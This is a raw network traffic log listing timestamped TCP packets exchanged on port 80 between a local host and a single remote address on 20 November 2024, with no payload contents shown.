Nov 20, 2024 12:58:01.992014885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992031097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992070913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992098093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992131948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992151976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992177010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992203951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992245913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992274046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992341042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992367983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992403030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992425919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992461920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992475986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992507935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992526054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992574930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992624044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992659092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992685080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992707014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992750883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992784023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992805958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992831945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992857933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992919922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.992945910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992979050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.992999077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.993022919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.041673899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.041706085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.041749001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.041769028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.041795969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.041841030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.041856050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.041904926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.041951895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042001009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042059898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042093992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042117119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042154074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042195082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042222977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042247057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042274952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042309999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042351961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042398930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042433023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042455912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042481899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042509079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042541981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042562962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042583942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042665005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042697906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042721033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042751074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042773962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042818069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042850971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042896986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.042921066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042957067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.042977095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043000937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043029070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043088913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043121099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043155909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043178082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043226957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043256998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043289900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043339014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043339014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043433905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043468952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043492079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043530941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043562889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043596983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043617010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043646097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043673992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043706894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043730021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043760061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043783903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043849945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043875933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043910027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.043930054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043957949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.043982029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044014931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044038057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044066906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044091940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044132948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044150114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044181108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044204950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044248104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044267893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044301033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044332027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044365883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044385910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044416904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044462919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044503927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044518948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044545889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.044605970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.044658899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072658062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072674990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072699070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072715044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072729111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072740078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072753906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072772026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072781086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072798967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072818041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072824955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072839022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072853088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072866917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.072877884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.072902918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073002100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073018074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073041916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073056936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073065042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073076963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073093891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073107958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073115110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073129892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073151112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073158026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073165894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073187113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073307037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073323011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073343992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073352098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073359966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073374987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073385954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073400021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073414087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073424101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073435068 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073450089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.073460102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.073482037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.074443102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.074484110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.074947119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.074986935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075259924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075303078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075367928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075383902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075403929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075419903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075587988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075607061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075628996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075644016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.075964928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075982094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.075998068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.076015949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.076044083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.079541922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.079586029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.079664946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.079703093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.079799891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.079816103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.079832077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.079848051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.087986946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088041067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088253975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088291883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088382006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088397980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088413000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088428020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088439941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088452101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088464022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088475943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088489056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088501930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088514090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088527918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088542938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088553905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088577986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088586092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088598967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088615894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088624001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088639975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088649035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088659048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088684082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088691950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088706017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088718891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088731050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088742018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088756084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088767052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088779926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088798046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088805914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088816881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088829994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088840008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088852882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088862896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088876963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088886023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088901043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088911057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088924885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088933945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088947058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088956118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088960886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088970900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.088979959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.088988066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089001894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089014053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.089026928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.089035988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089044094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089052916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089060068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089067936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.089118004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.131268024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.131341934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.132029057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.132046938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.132069111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.132081032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.133961916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.133979082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.134074926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.137232065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.137249947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.137345076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.140839100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.140856981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.140985012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.144011974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.144028902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.144046068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.144059896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.144088030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.147186995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.147249937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.147351980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.147368908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.147392988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.147418022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.148534060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.148550034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.148845911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.151770115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.151787996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.151813984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.151827097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.151827097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.151860952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.155071974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.155090094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.155122042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.155141115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.158368111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.158386946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.158404112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.158418894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.158433914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.158447027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.161659956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.161676884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.161705971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.161720991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.164736032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.164752960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.164776087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.164793015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.167903900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.167922974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.167938948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.167953014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.167963982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.167977095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.170988083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.171005011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.171030045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.171045065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.174001932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.174020052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.174045086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.174072981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.176871061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.176887035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.176903009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.176915884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.176930904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.176948071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.179256916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.179274082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.179302931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.179322004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.181600094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.181617022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.181637049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.181672096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.181708097 CET	49761	80	192.168.2.4	185.215.113.16
